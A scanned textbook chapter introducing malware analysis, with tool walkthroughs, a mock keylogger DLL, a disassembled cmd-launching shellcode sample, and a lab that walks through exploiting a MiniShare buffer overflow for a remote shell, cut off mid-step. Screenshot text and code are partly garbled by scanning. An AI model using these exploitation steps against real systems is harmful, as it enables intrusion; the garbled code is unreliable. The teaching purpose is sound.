Chapter 18 )
Introductory Malware Analysis s

Learning Objectives

This chapter serves as an introduction into malware analysis. This chapter
discusses the different types of malware and describes how malware infects
computers. Also, it introduces you to practical approaches of analyzing
malware through three case examples so as to provide insight into different
ways of how malware works. The objectives of this chapter are to:

e Understand fundamentals of malware analysis

e Understand malware analysis techniques as well as malware analysis
process

e Know how to build a safe malware analysis environment

* Know common malware characteristics including keylogging, communi-
cating over HTTP

* Become familiar with the tools necessary to analyze malware

Before studying methods and requirements for malware analysis, it is important to
understand what malware or malicious software is, how you can detect it on your
system and network, and other information related to a subject under analysis. This
will help readers distinguish different types of malware such as viruses or worms.
Additionally, readers would select appropriate tools, virtual or physical environments
and programming languages to analyze malicious software. Our focus in this chapter
is to show readers not only how to set up dedicated malware analysis environments,
but also to build a malware analysis environment and study some case studies from
the web to understand effective malware analysis techniques. For advanced malware
analysis, readers are referred to read a book or books offering detailed coverage of
what you want to know from assembly language and other languages to understand-
ing Portable Executable (PE) and Common Object File Format (COFF) files to
advanced tools which are beyond the scope of this chapter and book.
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426 18 Introductory Malware Analysis
18.1 Malware, Viruses and Worms

Malware is not only software that is programmed to perform malicious work against
a victim’s system, but also any executable code that performs work without user’s
permission or consent either on a local system or over a network. For example,
malware can steal sensitive data from users, organizations or companies. Therefore,
malware can be seen as a virus or worm or even a backdoor. A virus is malicious
code that needs a host file or a running process, usually an executable piece of code
on a single computer for inserting malicious code, propagation, duplication, con-
cealment and running the virus in the background. On the other hand, a worm is
similar to a virus in terms of aforementioned features, except that it does not
necessarily need a host file and can run over a network. However, both viruses
and worms might directly attach themselves to another program or indirectly by
exploiting some vulnerability in a service or application such as buffer overrunning
(e.g. Blaster and Slammer worms). Therefore, in order to analyse malware, it is
important to know the first step that malware exploits to get on a computer. The
following subsection highlights the most common ways that malware can get on
computers.

18.1.1 How Does Malware Get on Computers

In one of evening security classes, I was chatting to some grad students during the
break about the course’s topics. One of the students was talking about his experience
on using a cracked version of software. He said that he had got several anti-virus
alerts two days later after the cracked version was installed. These alerts showed that
the application cracked was trying to establish a TCP connection to a remote server.
The student reasoned that the cracked version was the cause of the alerts. His
colleagues imputed the alerts to other security factors such as a remote vulnerability
on his operating system or it could be simultaneous attacks. All the students’ points
of view were valid and logically justified. Accordingly, malware gets on your
computer using different tricks and approaches. For example, spam emails
containing malicious attachment that ends up installing malware on your computer,
infected drives such as CDs or USB flash allowing malware to be automatically
downloaded and installed to your system. Additionally, exploiting software vulner-
abilities is considered to many software vendors a nightmare, including operation
systems, and is a preferable way to notorious malware in terms of propagation and
spread. For instance, remote buffer overruns are exploited by attackers to execute
malicious software or to download other applications on compromised systems.
Moreover, you might encounter in security a hybrid of tricks and approaches such
as social engineering tactics or drive-by download pages that allow an attacker
eventually to successfully install and run malware on a victim’s system. All what
the need is to present credible reasons to a victim luring them into visiting a webpage
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or installing an application that allows them to gain something they like or enjoy. As
a result, malware authors spend time thinking of incorporating ingenious strategies
to infiltrate a victim’s system taking advantage of the aforementioned tactics.

18.1.2 Importance of Malware Analysis

Recent new headlines show that malware outbreak is astonishing, and even suggest
that there will be a bigger upsoaring in the future as there are too many malware and
their variants as well as new cyberattack methods keep surfacing. For example,
massive malware infection hit approximately 300 computers in public classrooms
and labs at the University of Alberta, Canada. The malware was designed to harvest
user credentials. It could have led to the disclosure of sensitive personal and financial
information, putting more than 3000 people (faculty members, students, administra-
tive staffs) at risk [4]. Obviously, it is crucial that we are armed ourselves with
necessary skills and tools to fight malware. Unfortunately, malware is a very
complicated issue since it continues to evolve. Recent outbreak of ransomware is
one trend example in the evolution of malware where malware encrypts the victims’s
data and holds them hostage for ransom in order for the victims to have their files to
be decrypted. It will further be detailed in the next chapter. While we need to better
educate people not to fall into the malware trap, another key is to understand how
malware affects a vulnerable computing system and what exactly malware does. As
a result, better approaches could be developed to build more effective defenses
against malware, especially these new breeds of malware, which has been seen
growing. Also, it could lead to a solution to restoring data and services from malware
infection. It can be achieved through the analysis of malware. Malware analysis is
the process of determining the purpose and functions of a given malware sample
such as a virus, worm, or backdoor.

Further, malware analysis has become a critical aspect of today’s forensic inves-
tigations as increasingly, malware are found on the compromised systems.

18.2 Essential Skills and Tools for Malware Analysis

LEINT3

During teaching “secure software systems”, “attack and defense” and other courses
related to forensics I have been asked questions regarding skills and tools required to
understand the specific challenges presented by contemporary malware or what
essential skills and tools needed for intermediate and advanced malware analysis.
We believe there are kind of links between advanced malware analysis and under-
standing modern malware. For example, a security expert/practitioner in malware
analysis is a person who has many skills in programming languages such C/C++
and other web languages (e.g., scripting languages), assembly languages, operating
systems, network programming and settings, web application security and



428 18 Introductory Malware Analysis

understanding cyber threats such as a wide variety of techniques used in exploiting
vulnerabilities that threaten users and systems. Such an expert or practitioner would
be armed with knowledge about analysing some modern malware.

Importantly, we can say what you want to know about malware or analysing
malware software will determine the sophisticated level of requirements for malware
analysis. Concretely, if you suspect an application, you might choose different tools
to monitor the suspected application and conduct dynamic malware analysis. How-
ever, conducting dynamic malware analysis is not recommended due to unknown
consequences, especially if you use your personal computer that contains sensitive
information for the purpose of doing serious and dangerous malware analysis. Even
though conducting dynamic malware analysis in a virtual machine can mitigate the
risks resulting from a malicious program, you might not get accurate information
about the behaviour of the malware. This is because sophisticated malware can
change its behaviour when it detects virtual environments or it might be well
behaved. In the worst case, it is highly possible for malware to jump out analysis
tools or virtual machines if it exploits a setting or zero-day bug.

From a security’s point of view, malware analysis and skills required include:

¢ Understanding some topics in programming languages (i.e., C/C++) such as
functions, pointers, arrays, stack, and heap. Especially, it is very important to
understand how function’s arguments are passed.

* Wide knowledge about assembly language in terms of aforementioned topics and
machine language.

* Understanding PE and COFF files and their structures.

e What EXE, DLL, OCX, etc. are, how they work and their differences.

¢ Exported and imported tables and functions in EXE and DLL files.

* Cryptographic techniques.

e What some vulnerability is and how it can be exploited either remotely or locally.

*  What shellcode and shellcode analysis are.

» Tools used for static and dynamic analysis, including debuggers, de-compilers,
disassemblers, packing and unpacking techniques and process and file and
registry monitors.

Section 18.3 covers some common tools used in building a malware analysis
environment. Section 18.4 describes a case study related to malware.

18.3 List of Malware Analysis Tools and Techniques

This section introduces some key terms used in a wide verity of tools. First, an
executable file on Windows systems comes with an .EXE or .DLL extension. It
contains executable code while an application or program resides in an EXE file.
Dynamic link libraries come with a .DLL extension and are loaded by the Windows
operating system loader. It can also be loaded by another application. Second,
Microsoft uses the term portable executable (PE) to refer a file format used by
Windows. The PE contains headers and sections. These sections contain useful
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information used by an executable such as the executable instruction in the .CODE
or .TEXT section. Finally, there are two techniques used in malware analysis,
namely, static and dynamic. Static analysis is the process of analysing an executable
file or its functionality without running it, particularly first using a decompiler to
decompile the executable file back to its source code . Dynamic analysis, on the other
hand, involves running the executable. Both analyses give different information
about an application being analysed and use different tools.

18.3.1 Dependency Walker

The most popular tool used by many malware analysts is Dependency Walker. This
tool tells what imported and exported functions are in an executable file. An
executable file comes with an .EXE or .DLL extension. It contains executable
code while an application or program resides in an EXE file. Usually, those functions
play a vital role in understanding how and what a malicious program does. It is also
important to know that those functions have some legitimate uses in Windows
programming, but if you conduct a malware analysis and see them, then they are
probably used for malicious functionality as well.

18.3.1.1 Let’s Create a KeyLogger.exe

Don’t be scared, we are not going to create a real key logger. Instead, we are going to
show you how to write a simple DLL file in C language containing fake functions
that get the external IP address and get sensitive information from a victim. Then, we
add the dynamic library to the key logger application. The purpose of such training is
to perform static analysis using the Dependency Walker tool to view imports and
exports (e.g. exported functions and variables). First, create a folder of your choice,
“TestAnalysis”, for example. Then, for the dynamic library (lib1.dll) which contains
code for three functions and one variable, you need to create two header files (lib1.h
and lib2.h) and one source file (lib1.c). The header file lib1.h contains three function
prototypes (LibGetUserIP(), LibGetUserInfo() and CallAppFunc()) and one global
variable (LibIsOnline). These functions and variable will be exported by the library
and used by the KeyLogger.exe application. The header file lib2.h contains a
prototype to LibLocalFunc() that is not exported. The library source file (libl.c)
contains the definitions for the three functions and shows how they interact with each
other. From the command line run the cl.exe tool that is a tool involving a Microsoft
complier and linker, C:\TestAnalysis\cl/LD libl.c

Code 18.1. Source Code for the Dynamic Library lib1.dll

// Library header file 1libl.h
__declspec(dllexport) int LibIsOnline;
__declspec(dllexport)void LibGetUserIP() ;
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__declspec(dllexport)void LibGetUserInfo() ;
__declspec(dllexport) int CallAppFunc () ;

// This is the library source file --1ibl.c
#include <stdio.h>
#include "1libl.h"
#include "1ib2.h"
LibIsOnline = 0;
void LibGetUserIP ()
{
LibIsOnline=1;
printf ("\n\nUserIP \n%s\n--------------- \n", "10.10.10.10") ;

}

void LibGetUserInfo ()
{
int retsend;
LibLocalFunc("10.10.10.10", LibIsOnline) ;
retsend=CallAppFunc () ;
printf ("if yousee 101, thismeans theuser's infohasbeen sent tothe
malicious user :%d\n", retsend) ;

}

void LibLocalFunc (char x[], int y)

{
}

int CallAppFunc ()

printf ("\n Encrypt USER's Data \n\n") ;

if (LibIsOnline) printf ("\n\nSendamsgif thevictimisonline\n") ;
printf ("\nMalware Sends Encryped Data to the malicious user\n") ;
return 101;

Each function performs a specific task. For example the LibGetUserIP() function
assumes to get a user’s external IP address while the LibGetUserInfo() function
collects sensitive information of the victim and calls other functions that encrypt data
collected for transmission over the network.

After compiling the source code of the library, the compiler created lib1.dll as a
dynamic library and lib1.lib as a static library. Also, it has created other files that are
not particularly interesting for us right now. These two libraries, namely, lib1.dll and
lib1.1ib, will be used when building the KeyLogger.exe application.

Figure 18.1 shows data exported (either functions or variables) by lib1.dll in
Dependency Walker. Also, you can see that our dynamic linking library file imports
other libraries, in this case, KERNEL32.DLL and NTDLL.DLL.

Now, we are going to build the KeyLogger.exe application which consists of one
header file (KeyLogger.h) and one source file (KeyLogger.c), as well as two files we
just built (lib1.lib and lib1.dll). You need to create KeyLogger.h and KeyLogger.c as
shown in Code 18.2 in the same folder we used to build lib.dll--“TestAnalysis”.
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Fig. 18.1 libl.dll in Dependency Walker

Code 18.2. Source Code for KeyLogger.exe

// This is the headerfile (KeyLogger.h) for the application (KeyLog.exe)
when using 1ibl.d11

__declspec (dllimport) int LibIsOnline;
__declspec(dllimport)void LibGetUserIP () ;
__declspec(dllimport)void LibGetUserInfo() ;
__declspec(dllimport) int CallAppFunc () ;

// This is the application source file KeyLogger.c
#include <stdio.h>

#include "KeyLog.h"

int main ()

{

LibGetUserIP () ;
LibGetUserInfo () ;

From the command line, run the cl.exe tool that controls the compiler and linker
using the following syntax: C:\TestAnalysis\cl /Tc KeyLogger.c /link lib1.lib.
After the KeyLogger.exe application is built, we are going to open KeyLogger.exe
in Dependency Walker as shown in Fig. 18.2. Then you can see exports and imports.
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Fig. 18.2 KeyLogger.exe in Dependency Walker

18.3.2 PEview

In Sects. 18.3.1 and 18.3.1.1 we showed how to gather useful information such as
the list of exported and imported functions in an executable. However, in static
analysis, we need to understand several facts about executables .EXE or .DLL or
others such .OBJ. Particularly, Microsoft uses Portable Executable (PE) files to refer
executables. The PE file format can be seen as a data structure that contains
information about executables (i.e., images in Microsoft jargon) used by the Win-
dows loader.

Each PE file or image usually contains two headers. The first part of the PE header
is related to MS-DOS applications. There are sections for this part (the
IMAGE_DOS_HEADER and MS-DOS Stub) that are not interesting to us, except
two fields in the IMAGE_DOS_HEADER (i.e., e_magic and e_lfanew). The
IMAGE_DOS_HEADER is a structure defined in WinNT.h as shown in Table 18.1.

The second part of the PE file followed the IMAGE_DOS_HEADER and
MS-DOS Stub is the IMAGE_NT_HEADER. The IMAGE_NT_HEADER is a
structure that contains three elements, namely, Signature, FileHeader and
OptionalHeader as shown in Table 18.2. For more information about “Microsoft
PE and COFF Specification”, you can see www.microsoft.com.

Following with our KeyLogger.exe example, we first open it in Cygnus Hex
Editor to display the IMAGE_DOS_HEADER as shown in Fig. 18.3. You can see
the MS-DOS signature (e_image) at 0x00 and 0x01 offsets from the beginning of the
file having the value of 0x4D (meaning M in acsii code) and O0x5A (representing Z in
ascii code). While the MS-DOS signature is at 0x00 and 0x01 (i.e., two bytes for
WORD), e_Ifanew is a field describing the offset of the PE header in KeyLogger.
exe. e_lfanew is at Ox3c offset or 60 in decimal with a length of DWORD (4 bytes).
That is, the first byte of e_lfanew is 0xD8, the second 0x00 and so for. Therefore, the
offset of e_Ifanew is 0xD8000000. Since we are using little-endian, the ordering of
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Table 18.1 IMAGE_DOS_HEADER as defined in WinNT.h

typedef struct IMAGE DOS HEADER {
WORD e_magic;  /* 00: MZ Header signature */
WORD e _cblp;  /* 02: Bytes on last page of file */
WORD e _cp; /* 04: Pages in file */
WORD e crle;  /* 06: Relocations */
WORD e cparhdr; /* 08: Size of header in paragraphs */
WORD e_minalloc; /* 0a: Minimum extra paragraphs needed */
WORD e _maxalloc; /* Oc: Maximum extra paragraphs needed */
WORD e _ss; /* Oe: Initial (relative) SS value */
WORD e_sp; /*10: Initial SP value */
WORD e csum;  /* 12: Checksum */
WORD e ip; /* 14: Initial IP value */
WORD e _cs; /* 16: Initial (relative) CS value */
WORD e_lfarle;  /* 18: File address of relocation table */
WORD e_ovno;  /* la: Overlay number */
WORD e res[4]; /* lc: Reserved words */
WORD e oemid;  /*24: OEM identifier (for e _oeminfo) */
WORD e oeminfo; /*26: OEM information; e oemid specific */
WORD e _res2[10]; /* 28: Reserved words */
DWORD e _lfanew; /* 3c: Offset to extended header */

} IMAGE DOS HEADER, *PIMAGE DOS HEADER;

Table 18.2 IMAGE_NT_HEADER as defined in WinNT.h

typedef struct IMAGE_NT_HEADERS {
DWORD Signature; /% "PE™0\0 */ /* 0x00 */
IMAGE FILE HEADER FileHeader; /* 0x04 */
IMAGE _OPTIONAL HEADER32 OptionalHeader; /* 0x18 */

} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
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Fig. 18.3 KeyLogger.exe in Cygnus hex editor
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Fig. 18.5 Section .text of KeyLogger.exe in PEview

bytes becomes 0x000000D8 or 0xDS8 and if you go to at that offset, you will see
0x50450000 that represents “PE\O\0”.

Figure 18.4 shows the IMAGE_NT_HEADER in PEview. We can extract
invaluable information from the PE headers such as the number of sections and
their headers and offsets in the file. For example, in Fig. 18.4 when the
IMAGE_SECTION_HEADER .text is selected, you can see the size of the .text
section (i.e., code) and where it begins (at 0x00001000 offset). Moreover, if you like
to see what inside the pointer or the 0x00001000 offset, you can click section .text in
PEview as shown in Fig. 18.5. The column named RVA (relative virtual address)
refers to the address of an item in this case a section in the executable while the
column, Raw Data, refers to the actual machine instructions used by the application
being examined. In terms of machine code, Raw Data at 0x00001000 contains the
following instructions 55 8B EC FF 15 9C 50 40 00 FF 15 A0 50 40 00 5D C3 55 8B
EC 6A FF 68 A8 50 40 00 68 6C .. .etc. For more information about this code, we
are going to disassemble the KeyLogger.exe application with a disassembler
(W32Dasm)
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| 2 IESoftW BP0 asmWErBId B PropramDisassembler/DEDIpREr
Disassembler Project Debug Search Goto Execute Text Functions HexData Refs Help

s Il i (% 6 0 =
Disassembly of File: C:\TestAnalysis\Keylogger.exe

Code Offser = 00001000, Code Size = 00004000

Data Offser = 00006000, Data Size = 00003000

Stra
Gl

Humber of Objects = 0003 (dec), Imagebase = 00400000h

Objectll: .text RVA: 00001000 Offsec: 00001000 Size: 00004000 Flags: 6000002
Object02: .rdata  RVA: 00005000 Offsec: 00005000 Size: 00001000 Flags: 4000004
Object03: .data RVA: 00006000 Offset: 00006000 Size: 00003000 Flags: CO00004

+t+t+++++titt++++++ MENU INFORMATION +i++++++++++++++4+
There Are No Menu Resources in This Application

+++++++444444444+ DIALOG INFORMATION +4++4++4+++444+44444
There Are No Dialog Resources in This Application

+++++++++++++4++44+ IHPORTED FUNCTIONS +++++++++++4++4444+
Humber of Imported Modules = 2 (decimal)

Import Module 001l: libl.dll
Import Module 002: KERNEL3Z.dll

tt++++++++i++++++4++ INPORT MODULE DETAILS ++++++i+++it+++

Inport Module 001: libl.dll

Addr:00005532 hint (0001) Name: LibGetUserIP
Addr:00005520 hint (0002) Name: LibGetUserInfo

Inport Module 002: KERNEL3Z.dll

Addr:000056C0 hint {(0175) Name: GetVersionExd
Addr:000057D4 hint (0156) Name: CetStringTypeW

Fig. 18.6 Sections of KeyLogger.exe in W32Dasm

18.3.3 W32dasm

This software helps in extracting more information about executable files especially
EXEs and DLLs. We have mentioned earlier that you can use a disassembler if you
want to better understand about our example application under testing. W32Dasm
can provide detailed information regarding the imported and exported functions and
modules (DLLs) used by KeyLogger.exe. Figure 18.6 shows the number and names
of sections in addition to their offsets which are similar to PEview. Also, it shows the
number of imported and exported modules.
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18.3.4 OllyDbg

Ollydbg is a debugger used for reverse engineering of programs. It is widely used by
crackers to crack software written for Windows. This tool helps us in tracing
registers, stack, heap and recognizing procedures, API calls and loops. In addition,
it can directly load and debug DLLs. Figure 18.7 shows several sections of
KeyLogger.exe in OllyDbg.

18.3.5 Wireshark

Wireshark is considered one important network protocol analyzers. It helps you to
monitor your network and see what is happening on sent or received packets of
different protocols and applications in real time. More importantly, it gives you an
opportunity to capture network traffic and save captured data for later analysis. We
take advantage of this feature if we want to statically analyze captured packets from a
virtual machine to a physical one or if you want to analyse others’ captured files as
you will see in the following section. Usually files captured have the extension .pcap
or .cap is also in common use. Figure 18.8 shows live captured data by Wireshark.

".«a@\?“""“““".m-sz'é’r !

FCEDBEAE | kerne |22 6. 1.2609.6532 1|
TCI00000| PeMEZ00D| FCILZOFE ntdll | 6.1, ZE00.E055 (| S

Fig. 18.7 Sections of KeyLogger.exe in OllyDbg
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Blo Edt ew Go Cophrs frabyze Jatisics Telephory [ock [tomals Lielp
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6 2.17483200192.168.1.30 216.58.198.3 a
7 2.23773800216.58.198.3 192.168.1.30 TCP 54 443-4520 [aCK] Seqel Ack=73 wWin=S51870
8 2.26484700 216. 58.198.3 192.168.1.30 TLSV1.2 126 application Data
9 2.26596200 216.58.198.3 192.168.1.30 TLSV1.2 1454 application pata
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Fig. 18.8 live capture traffic by Wireshark
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Fig. 18.9 Reassembly of an HTTP stream

Since Wireshark supports reassembly of Protocol Data Units (PDUs) for several
protocols such as HTTP, DNS, Open Network Computing (ONC) Remote Proce-
dure Call (RPC) and Kerberos, this feature allows us to reassemble multiple TCP
segments and use such a reassembled stream in the analysis of forensic investiga-
tions. This is an example of how to reassemble an HTTP stream and to extract and
save to a file, a text/html, from inside an HTTP PDU. Open up the packet capture file
(i.e., network-packet.pcap) in Wireshark and then select frame #22 and click on the
line-based text data protocol to select it as shown in Fig. 18.9. Then just right click
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on the line-based text data protocol and select “Export Selected Packet Bytes” and
save it to a file (i.e., as an HTML file). If everything worked, you will now have an
HTML file you can view it in your browser. Moreover, the reassembly feature in
Wireshark helps us not only in extracting text/html or JPG protocols and other
protocols from inside HTTP, DNS or ONC-RPC PDUs, but also shellcode impeded
inside these protocols as we will study that in real case studies.

18.3.6 ConvertShellCode

As we mentioned earlier in this chapter, a forensic investigator armed with an
assembly language can understand more about malware behaviours and analyze
code at a low level in order to verify a suspicious piece of code or identify malicious
activities. In this context, we define shellcode to be assembly code written in hex that
not only allows a local or remote user to control the compromised system usually
spawning a shell or command line, but also performs countless malicious tasks such
as sending sensitive information to a remote attacking computer or even though
deletion of data and encrypting a compromised hard-disk, the list goes on and
on. These security incidents cause significant damages and financial losses in
some cases.

18.3.6.1 Shellcode Analysis

In order to analyse malicious code (i.e., shellcode) extracted from either packets or in
EXEs/DLLs, we need to convert it into Intel x86 assembly instructions. This is
usually because of the absent of source files of malicious code and all binary files
written in C/C++ including malicious software are compiled to machine operations.
ConvertShellCode is a tool for most Windows operating systems that parses any
supplied shellcode string and immediately converts it into corresponding assembly
instructions [1]. For example, assume that we want to convert the shellcode extracted
from a suspicious file as in the file labshell.txt, we need to do the following:

* Copy all the text from labshell.txt.

¢ Open the command line.

¢ Type ConvertShellCode and pass the text copied in the clipboard as shown in
Fig. 18.10.

ConvertShellCode can also be used in conjunction with the redirection characters
(> or >>) to save the results into a file.
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WSlsys exe - o] x|
E onuertShellcode.exe X558 BAKECN®5 3\ %56 %5 P\ xCh %45 % FC \x6 3 xC6 %45 xFD'x6 o
D\xCS\x45\xFE\x64\x33\xC?\x89\x4D\xFF\x6ﬂ\xBS\xSB\xBG\x31\x32\x86\x?¢\xFF\xDB\x6
ANxB1N\xBB \xA2 \xBF\x81x7C\xFF\xD8@

ConvertShellcode 3.8

Copyright <(C)> 2889-2815 Alain Rioux {le-tools.com>. All rights reserved.

This program is free software: you can redistribute it and or modify
it under the terms of the GNU General Public License as published by
the FPree Software Foundation, either version 3 of the License, or
(at your option> any later version.

This program is distributed in the hope that it will be useful.
but WITHOUT ANY WARRANIY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
alonyg with this program. If not,. see <{http:/suww.gnu.org licenses/ >.

Assembly language source code :

B00BBB8 push ehp
8000BA1 mov ebp.esp
B00BBB3 push ebx
B0BEPA4 push esi
B0BBBBS push edi
PA0B0B6 mov bytelss:ehp+BxFFFFFffcl,. Bx63
B008BBa mov bhytelss:ebp+BOxffFFFFFd], Bxbd
B0000Be mov bytelss:ehp+Bxfffffffel, . Bx64
2088012 xor ecx.ecx

0008014 mov dwordlss:ebp+BxfFFFFFFfl, ecx
8888817 push dword(Bx5>
8088019 push eax

P0BAA1a mov eax.Bx?c863231
1f __call eax

BABB021 push dword<{(Bx1>
2080023 mov eax.B@x7cBlbfa2
8008828 call eax

Fig. 18.10 Converted Shellcode by using ConverShellCode

The size of the shellcode above is 180 bytes obtained by counting the bytes in
Cygnus. We can see that the shellcode after being assembled containing 18 lines of
assembly instructions. For the sake of explanation, we explain the last three assem-
bly instructions in our example, namely, line #16, #17 and #18.

00000024 push dword(0x1) —(line #16)
00000026 mov eax,0x7C81BFA2  —(line #17)
0000002b call eax —(line #18)

In Windows and Intel, when a C/C++ function with arguments is invoked, the
arguments of the function are pushed onto the stack in backwards, that is, from right
to left. As you can see that line #16 contains a push instruction, line #17 contains a
MOV instruction that loads EAX with a hex value—O0x7C81BFA2. Line #18
contains a CALL instruction which transfers program control from the current to
another procedure existing at the address in EAX. Now, it is clear that three lines are
related to some function, but what this function does, where this function lives in and
is it a user-defined or system function. In 32-bit Windows (see MSDN and
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Fig. 18.11 Kernel32.dll in OllyDbg

Microsoft), the default virtual address space for a process can be seen as the
following: addresses for most DLLs usually start at 0x70000000. For example,
Fig. 18.2 shows that the base address of Kernel32.dll is 0x7C800000. As a result,
0x7C81BFA2 should be an address of some function in one of the systems’ DLL
libraries, but not necessary to be the Kernel32.dll. Let’s check to which library
0x7C81BFA2 belongs by opening up Kernel32.dll in OllyDbg and then select
“View-Executable Modules” as shown in Fig. 18.11. Since the most significant
byte in 0x7C81BFA2 is 0x7C, we got two libraries; kernel32.dll and ntdIl.dll that
share the most significant byte. We continue by comparing the second byte (i.e.,
0x81) of 0x7C81BFA2 with the aforementioned libraries. Consequently, we found
the 0x7C81BFA2 has 0x7C8 in common with 0x7C800000. This is an indicator that
0x7C81BFA2 has been included into kernel32.dll, in other words, the function we
are searching for might be in the kernel32.dll library.

In the “Executable Modules” pane right click on the line containing kernel32.d11
and select “View names” to get a list of functions included in this library. Next, click
on the field “Address” in order to sort entries in the “Names in kernel32” window.
We found that 0x7C81BFA?2 is the address of ExitProcess function as shown in
Fig. 18.12. This function (ExitProcess) ends a current process and all its threads.
Therefore, we can infer the shellcode contains ExitProcess function. Similarly, we
can follow the same principle to find out other functions. For example, after we
analyzed 0x7C863231 in line #14, we found it contains a call to WinExec
function that takes two arguments, the first is “cmd” represented by 0x63,
0x6D and 0x64, respectively and the second is “SM_SHOW?” represented by
0x5 in hex.
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E')'Ezui’:’*; imkernelsy '315]@

Address || Section |Type Nane = |~
.text Export GetDiskFreeSpaceExlW =

7C812F81| . text Export RaiseException

7C2814107) .text Export FreeEnvironmentStyingsl)

7C814112| .text Export |GetEnvironmentlariableR
7C8144BC| . tent Export |CreateRActCtxl
7C81533B| . text Export QueriﬂctCtxw
7C81552D| . text Export BaselnitAppcompatCache
7C815837| . text Export BaseCheckAppcompatCache
7C81SFE3| .text Export |GetCommandLinell
7C81SFEE| . text Export |RegisterWaitForlnputldle
7C8164A3| . tent Export |BaseProcesslnitPostImport
7CS16FDD| . text Export |GetNlsSectionName L
7C817FCD| . text Export BasepCheckWinSaferRestrictions
7CS18SEC| . text Export |CreateProcesslnternalll 3
7C819FDF| . text Export |GetExitCodeProcess | —
7C81AB72| . text Export UerifyConsoleloHandle
7C81R6DC| . text Export GetConsoleMode
7C81A357| . text Export GetConsoleOutputCP
7C81A3BS| . text Export |SetConsoleMode
7C81R420| .text Export |SetThreadUILanguage
7C81AS1D| . text Export |SetConsolelnputExeNamel
7C81A7S3| . text Export SetConsoleCtrlHandler
7C81ACO4| . text Export GetConsoleTit lel
7C81AD82| . text Export SetThreadlLocale
7C81ADF3| . text Export GetConsoleScreenBufferinfo
T idlocale
. text Xport % 1tProcess | |

. h

7C81COED| . text Export |WriteConsoleR
7C81C123| . texrt Export |GetEnvironmentStringsh
7C81C246| . text Export |SetFileApisToOEM =
7CE1CCAS| . text Export |SetStdHandle Q

Fig. 18.12 Identifying functions extracted from shellcode using OllyDbg

18.4 Case Study

The following case study is designed for the purpose of knowing the danger of buffer
overflow vulnerability exploiting and of training on using Wireshark in order to
analyse different protocols traffic if they are truly suspicious. Buffer overflow occurs
anytime a program or an application writes more data into a buffer than the memory
space allocated for it. It results in memory access errors, and the program could
crash. And to make matters worse, it allows an attacker to overwrite data that
controls the program execution path, for example, overwriting the return address
(RET) on the stack created after a function is called. That makes it possible for the
attacker to let the modified return address point to any arbitrary memory location
which contains injected malicious code or the “JMP ESP” instruction, for example in
a DLL in Windows. As a result, the attacker hijacks the control of the program to
execute the injected malicious code instead the next line of program code is to be
executed.
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18.4.1 Objectives

Instead of giving you a captured packets file and asking for analysing, you will build
a malware analysis environment using a virtual machine in which you launch an
attack exploiting a buffer overflow bug in an application named Minishare
[2]. MiniShare is a free web server application for Windows that allows a quick
and easy way to share files. The shared files can be accessed by anyone using their
web browser. The idea behind using such an application and environment is to help
you in understanding how hackers exploit these types of vulnerabilities to launch
remotely arbitrary commands/open revers shells and thinking like them. After
building the malware analysis environment and before launching the attack against
Minishare, you can run Wireshark to monitor the network traffic and save that for
later investigation. At this point, you launch the attack that exploits the buffer
overflow in Minishare in order to generate a bind/revers shell allowing you to do
what you like.

18.4.2 Environment Setup

In this case scenario, there are three vital roles and you will play all of them. First, as
a victim, who has installed Minishare and Wireshark. Second, an attacker, who takes
an advantage of exploiting a buffer overrun bug in Minishare. Third, as a forensic
investigator, who investigates and analyzes captured traffic.

Your mission, as a victim is to:

* Install Microsoft Windows XP SP2 or SP3 on your virtual or physical machine.

* Download and install Minishare version 1.4.1 which is vulnerable to a buffer
overflow bug.

* Download and install Wireshark.

* Run Wireshark before launching the exploit in order to capture some packets.

Your mission, as an attacker is to:

* Build an attacking environment exploiting a buffer overflow in Minishare [3].
 Install any Linux distribution on your virtual machine.

* Compile and run a Minishare exploit from a shell terminal.

¢ Run remotely commands on a victims’ computer such as dir, and ipconfig.

From the victim’s computer, stop Wireshark from capturing and save the captured
file for later analysis by a forensic investigator as we will see later on.
Your mission, as a forensic investigator involves:

e Analyze the different traffic from the captured file on the victim’s computer and
determining if they are truly suspicious.
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* Recover as much information as possible about the victim and remote systems
involved if the traffic is suspicious.
» Evaluate the risk that data was exfiltrated.

18.4.2.1 Victim’s Computer as a Server

As we mentioned earlier, you are required to install Windows XP SP2 or SP3 and
Minishare ver 1.4.1 which runs as a HTTP server using port 8080 on the victim’s
computer (you can choose another unreserved port if you like). The victim’s
computer is provided an IP address, that is, 192.168.1.30. However, the service
pack installed on the victim’s system is very important in terms of determining the
return address used in the exploit. Since I use Windows XP SP3 on my virtual
machine, I chose OllyDbg as a debugger to obtain the return address used in the
shellcode [3] for exploiting Minishare. This can be done by using the following steps
which are shown in Fig. 18.13:

e Open OllyDbg.

» File — Open(Select Minishare where Minishare installed).

* Veiw — “Executable modules”.

¢ Select any loaded module by Windows (I prefer user32.dll).

» Right click on user32 in the Executable module window, and select “view code
in CPU”.

* Right click in the CPU pane and select “Search for” — Command or use
CTRL-F.

%
e x] 0 5 5 g w7 B s )
—

File version Path =
2 .651 T~ ~YStenSZ W52 32, 0LL
1.0420, 2600, 542| C: “WINDOWS sustenI2 LSPI0. dl |
5.1,2600,5512 ({ C:\WINDOWS\systen3anInn32, DLL
6.00.2900.5512 | C: \WINDOWS systen32 .DLL
6.0 (xpsp_sp3_qf C: \WINDOWS M inSxS x86_Hicrosoft.Windows.Conmon-Con
7.8.2600.5512 (1C: W “systen32imsvert.dll
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Fig. 18.13 JMP ESP command address located at 0x7E429353 in user32.dll
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e Type JMP ESP in the find command box.

 If the search succeeded, you will get an address for a JMP ESP command, that is,
7TE429353. Otherwise, try another loaded library. (Note, the address might be
different from what you found depending on the version of used libraries.)

* Try to avoid addresses containing bad characters such as 0x00, 0x0a, or/and 0x0d.

Now, we know and have the return address of our shell code that we are going to
use it from the attacker’s computer as we will see in the following subsection. After
the victim’s computer is built, make sure that Minishare has been started before
launching the buffer overflow attack. You also need to start Wireshark to capture the
traffic.

18.4.2.2 Attacker’s Computer as a Client

The attacker’s computer has a Linux distribution in which we can compile the
exploit to gain a remote access on the victim’s computer. I use Fedora release
14 (Laughlin), but you can also use any other Fedora or Linux version. Sine I
installed Fedora on a virtual machine, 192.168.1.35 is provided as an IP address
for the attacker’s computer. In order to compile and run the exploit that contains
shellcode [3], you do the following steps:

* Visit the web site in [3] and save the exploit as a C file, i.e., mini.c.

¢ Open mini.c with any editor in Fedora and change the line #define RET ‘“\xB8§
